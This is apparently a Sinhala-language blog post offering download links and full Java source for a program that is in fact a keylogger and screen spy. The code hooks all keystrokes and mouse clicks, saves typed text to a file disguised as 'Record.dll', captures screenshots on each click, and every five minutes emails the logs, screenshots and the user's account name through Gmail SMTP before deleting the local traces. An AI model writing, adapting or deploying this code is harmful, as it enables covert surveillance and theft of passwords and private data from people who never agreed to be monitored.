Please click below link for the updated blog , which has written in English
New Updated Site In English
Please click below link for the updated blog , which has written in English
මේ ලින්ක් එක click කරපුවහම , මේ software එක තියෙන google drive folder එක open වෙනවා.එතනින් ඔයාලට H.B.S.N.exe කියන installer file එක download කරගන්න පුළුවන්.
පහල ලින්ක් click කරපුවහම , මේ project එක තියෙන google drive folder එක open වෙනවා.එතනින් ඔයාලට අවශ්ය Winrar files download කරගන්න පුළුවන්.
පහල ලින්ක් click කරපුවහම , මම projects හදන්න යොදාගත්ත ජාවා API තියෙන google drive folder එක open වෙනවා.එතනින් ඔයාලට අවශ්ය API එක download කරගන්න පුළුවන්.
මේ software වැඩ කරන්න නම් ඔයාලගේ පරිගණකයේ java install කරලා තියෙන්න ඕනේ.මේ පහල ලින්ක් එකෙන් ඔයාලට java download කරගන්න පුළුවන්.
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
import org.jnativehook.mouse.NativeMouseEvent;
import org.jnativehook.mouse.NativeMouseListener;
public class Keyboard implements NativeKeyListener, NativeMouseListener {
public static String Text = "";
public static String Temp;
public static ImageIcon Image;
public static BufferedImage Capture;
public static Rectangle Screen;
public static File Image_File;
public static File Text_File = new File("C:\\Default\\Record.dll");
public static File Common_File;
public static ArrayList<String> Images = new ArrayList<>();
public static BufferedReader Reader;
public static String Line;
public static String Exist_Record;
public static String Content;
public static void main(String[] args) throws InterruptedException, Exception {
System.out.println("Operation Started");
try {
GlobalScreen.registerNativeHook();
} catch (Exception e) {
}
GlobalScreen.getInstance().addNativeKeyListener(new Keyboard());
GlobalScreen.getInstance().addNativeMouseListener(new Keyboard());
}
@Override
public void nativeKeyPressed(NativeKeyEvent e) {
Temp = NativeKeyEvent.getKeyText(e.getKeyCode()).toLowerCase();
Text = Text + Temp;
if (NativeKeyEvent.getKeyText(e.getKeyCode()).toLowerCase().equals("enter")) {
Record(Text);
}
}
@Override
public void nativeMouseClicked(NativeMouseEvent me) {
Screenshot();
}
public void Record(String New_Record) {
try {
Reader = new BufferedReader(new FileReader(Text_File));
while ((Line = Reader.readLine()) != null) {
Exist_Record = Line;
}
} catch (IOException e) {
} finally {
try {
if (Reader != null) {
Reader.close();
}
} catch (IOException ex) {
}
}
//------------------------------------------------------------------------------
try {
Content = Exist_Record + " | " + New_Record;
if (!Text_File.exists()) {
Text_File.createNewFile();
}
FileWriter fw = new FileWriter(Text_File.getAbsoluteFile());
try (BufferedWriter bw = new BufferedWriter(fw)) {
bw.write(Content);
}
} catch (IOException e) {
}
Text = "";
System.out.println("New Text");
}
public void Screenshot() {
try {
String Name = System_Time + " " + System_Date;
Name = Name.replace(":", ".");
Image_File = new File("C:\\Default\\" + Name + ".jpeg");
Screen = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
Capture = new Robot().createScreenCapture(Screen);
Image = new ImageIcon(Capture);
ImageIO.write(Capture, "jpeg", Image_File);
Images.add(Image_File.getAbsolutePath());
System.out.println("Screenshot Created");
} catch (HeadlessException | AWTException | IOException x) {
}
}
}
public class Frame extends javax.swing.JFrame {
public Frame() throws InterruptedException {
initComponents();
System.out.println("Checking For Unattended Text File");
if (Text_File.exists()) {
MailFile(Text_File.getAbsolutePath(), MSG);
}
new Thread() {
@Override
public void run() {
int T = 0;
while (T == 0) {
try {
Thread.sleep(500);
System_Time();
System_Date();
TimeKeeper();
} catch (InterruptedException | javax.mail.internet.ParseException ex) {
}
}
}
}.start();
}
public static String System_Time;
public static String System_Date;
public static DateFormat Time_Format = new SimpleDateFormat("hh:mm:ss a");
public static DateFormat Date_Format = new SimpleDateFormat("dd-MMM-yyyy");
public static String[] Time_Array = {"07:00:00 AM", "07:05:00 AM", "07:10:00 AM", "07:15:00 AM", "07:20:00 AM", "07:25:00 AM", "07:30:00 AM", "07:35:00 AM", "07:40:00 AM", "07:45:00 AM", "07:50:00 AM", "07:55:00 AM", "08:00:00 AM", "08:05:00 AM", "08:10:00 AM", "08:15:00 AM", "08:20:00 AM", "08:25:00 AM", "08:30:00 AM", "08:35:00 AM", "08:40:00 AM", "08:45:00 AM", "08:50:00 AM", "08:55:00 AM", "09:00:00 AM", "09:05:00 AM", "09:10:00 AM", "09:15:00 AM", "09:20:00 AM", "09:25:00 AM", "09:30:00 AM", "09:35:00 AM", "09:40:00 AM", "09:45:00 AM", "09:50:00 AM", "09:55:00 AM", "10:00:00 AM", "10:05:00 AM", "10:10:00 AM", "10:15:00 AM", "10:20:00 AM", "10:25:00 AM", "10:30:00 AM", "10:35:00 AM", "10:40:00 AM", "10:45:00 AM", "10:50:00 AM", "10:55:00 AM", "11:00:00 AM", "11:05:00 AM", "11:10:00 AM", "11:15:00 AM", "11:20:00 AM", "11:25:00 AM", "11:30:00 AM", "11:35:00 AM", "11:40:00 AM", "11:45:00 AM", "11:50:00 AM", "11:55:00 AM", "12:00:00 PM", "12:05:00 PM", "12:10:00 PM", "12:15:00 PM", "12:20:00 PM", "12:25:00 PM", "12:30:00 PM", "12:35:00 PM", "12:40:00 PM", "12:45:00 PM", "12:50:00 PM", "12:55:00 PM", "01:00:00 PM", "01:05:00 PM", "01:10:00 PM", "01:15:00 PM", "01:20:00 PM", "01:25:00 PM", "01:30:00 PM", "01:35:00 PM", "01:40:00 PM", "01:45:00 PM", "01:50:00 PM", "01:55:00 PM", "02:00:00 PM", "02:05:00 PM", "02:10:00 PM", "02:15:00 PM", "02:20:00 PM", "02:25:00 PM", "02:30:00 PM", "02:35:00 PM", "02:40:00 PM", "02:45:00 PM", "02:50:00 PM", "02:55:00 PM", "03:00:00 PM", "03:05:00 PM", "03:10:00 PM", "03:15:00 PM", "03:20:00 PM", "03:25:00 PM", "03:30:00 PM", "03:35:00 PM", "03:40:00 PM", "03:45:00 PM", "03:50:00 PM", "03:55:00 PM", "04:00:00 PM", "04:05:00 PM", "04:10:00 PM", "04:15:00 PM", "04:20:00 PM", "04:25:00 PM", "04:30:00 PM", "04:35:00 PM", "04:40:00 PM", "04:45:00 PM", "04:50:00 PM", "04:55:00 PM", "05:00:00 PM", "05:05:00 PM", "05:10:00 PM", "05:15:00 PM", "05:20:00 PM", "05:25:00 PM", "05:30:00 PM", "05:35:00 PM", "05:40:00 PM", "05:45:00 PM", "05:50:00 PM", "05:55:00 PM", "06:00:00 PM", "06:05:00 PM", "06:10:00 PM", "06:15:00 PM", "06:20:00 PM", "06:25:00 PM", "06:30:00 PM", "06:35:00 PM", "06:40:00 PM", "06:45:00 PM", "06:50:00 PM", "06:55:00 PM", "07:00:00 PM", "07:05:00 PM", "07:10:00 PM", "07:15:00 PM", "07:20:00 PM", "07:25:00 PM", "07:30:00 PM", "07:35:00 PM", "07:40:00 PM", "07:45:00 PM", "07:50:00 PM", "07:55:00 PM", "08:00:00 PM", "08:05:00 PM", "08:10:00 PM", "08:15:00 PM", "08:20:00 PM", "08:25:00 PM", "08:30:00 PM", "08:35:00 PM", "08:40:00 PM", "08:45:00 PM", "08:50:00 PM", "08:55:00 PM", "09:00:00 PM", "09:05:00 PM", "09:10:00 PM", "09:15:00 PM", "09:20:00 PM", "09:25:00 PM", "09:30:00 PM", "09:35:00 PM", "09:40:00 PM", "09:45:00 PM", "09:50:00 PM", "09:55:00 PM", "10:00:00 PM", "10:05:00 PM", "10:10:00 PM", "10:15:00 PM", "10:20:00 PM", "10:25:00 PM", "10:30:00 PM", "10:35:00 PM", "10:40:00 PM", "10:45:00 PM", "10:50:00 PM", "10:55:00 PM", "11:00:00 PM", "11:05:00 PM", "11:10:00 PM", "11:15:00 PM", "11:20:00 PM", "11:25:00 PM", "11:30:00 PM", "11:35:00 PM", "11:40:00 PM", "11:45:00 PM", "11:50:00 PM", "11:55:00 PM"};
public static String MSG;
public void System_Time() throws javax.mail.internet.ParseException {
System_Time = Time_Format.format(new Date());
MSG = System.getProperty("user.name") + "\n" + System_Time + "\n" + System_Date + "\n" + Time_Format.getTimeZone().getDisplayName() + "\n\n";
}
public void System_Date() {
Calendar Currentdate = Calendar.getInstance();
System_Date = Date_Format.format(Currentdate.getTime());
}
public void TimeKeeper() {
for (String Time_Array1 : Time_Array) {
if (System_Time.equals(Time_Array1)) {
System.out.println("Times Equals");
if (Text_File.exists()) {
MailFile(Text_File.getAbsolutePath(), MSG);
}
if (!Images.isEmpty()) {
MailIMG(MSG);
}
}
}
}
public void MailFile(String FILE, String TXT) {
try {
if (TXT == null) {
TXT = "Please Find The Attachement";
}
Thread.currentThread().setContextClassLoader(getClass().getClassLoader());
MailcapCommandMap mc = (MailcapCommandMap) CommandMap.getDefaultCommandMap();
mc.addMailcap("text/html;; x-java-content-handler=com.sun.mail.handlers.text_html");
mc.addMailcap("text/xml;; x-java-content-handler=com.sun.mail.handlers.text_xml");
mc.addMailcap("text/plain;; x-java-content-handler=com.sun.mail.handlers.text_plain");
mc.addMailcap("multipart/*;; x-java-content-handler=com.sun.mail.handlers.multipart_mixed");
mc.addMailcap("message/rfc822;; x-java-content- handler=com.sun.mail.handlers.message_rfc822");
Properties props = new Properties();
props.put("mail.smtp.auth", true);
props.put("mail.smtp.starttls.enable", true);
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");
Session session = Session.getInstance(props, new javax.mail.Authenticator() {
@Override
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});
Message message = new MimeMessage(session);
message.setFrom(new InternetAddress("your email address"));
message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("to email address"));
message.setSubject("New Keyboard Record");
message.setText(TXT);
MimeBodyPart messageBodyPart = new MimeBodyPart();
Multipart multipart = new MimeMultipart();
//------------------------------------------------------------------------------
messageBodyPart = new MimeBodyPart();
DataSource source = new FileDataSource(FILE);
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName(new File(FILE).getName());
multipart.addBodyPart(messageBodyPart);
//------------------------------------------------------------------------------
message.setContent(multipart);
Transport.send(message);
System.out.println("Text File Sent");
if (Text_File.exists()) {
Text_File.delete();
Text_File = null;
System.out.println("Text File Deleted");
System.out.println();
}
} catch (MessagingException ex) {
}
}
public void MailIMG(String TXT) {
try {
if (TXT == null) {
TXT = "Please Find The Attachement";
}
Thread.currentThread().setContextClassLoader(getClass().getClassLoader());
MailcapCommandMap mc = (MailcapCommandMap) CommandMap.getDefaultCommandMap();
mc.addMailcap("text/html;; x-java-content-handler=com.sun.mail.handlers.text_html");
mc.addMailcap("text/xml;; x-java-content-handler=com.sun.mail.handlers.text_xml");
mc.addMailcap("text/plain;; x-java-content-handler=com.sun.mail.handlers.text_plain");
mc.addMailcap("multipart/*;; x-java-content-handler=com.sun.mail.handlers.multipart_mixed");
mc.addMailcap("message/rfc822;; x-java-content- handler=com.sun.mail.handlers.message_rfc822");
Properties props = new Properties();
props.put("mail.smtp.auth", true);
props.put("mail.smtp.starttls.enable", true);
props.put("mail.smtp.host", "smtp.gmail.com");
props.put("mail.smtp.port", "587");
Session session = Session.getInstance(props, new javax.mail.Authenticator() {
@Override
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(username, password);
}
});
Message message = new MimeMessage(session);
message.setFrom(new InternetAddress("your email address"));
message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("to email address"));
message.setSubject("New Screenshots");
message.setText(TXT);
MimeBodyPart messageBodyPart = new MimeBodyPart();
Multipart multipart = new MimeMultipart();
//------------------------------------------------------------------------------
if (Images != null) {
for (String Images1 : Images) {
messageBodyPart = new MimeBodyPart();
DataSource source = new FileDataSource(Images1);
messageBodyPart.setDataHandler(new DataHandler(source));
messageBodyPart.setFileName(new File(Images1).getName());
multipart.addBodyPart(messageBodyPart);
}
}
//------------------------------------------------------------------------------
message.setContent(multipart);
Transport.send(message);
System.out.println("Image Files Sent");
if (!Images.isEmpty()) {
for (String Image : Images) {
File f = new File(Image);
f.delete();
}
for (int i = Images.size() - 1; i >= 0; i--) {
Images.clear();
}
}
System.out.println("Image Files Deleted");
} catch (MessagingException ex) {
}
}
}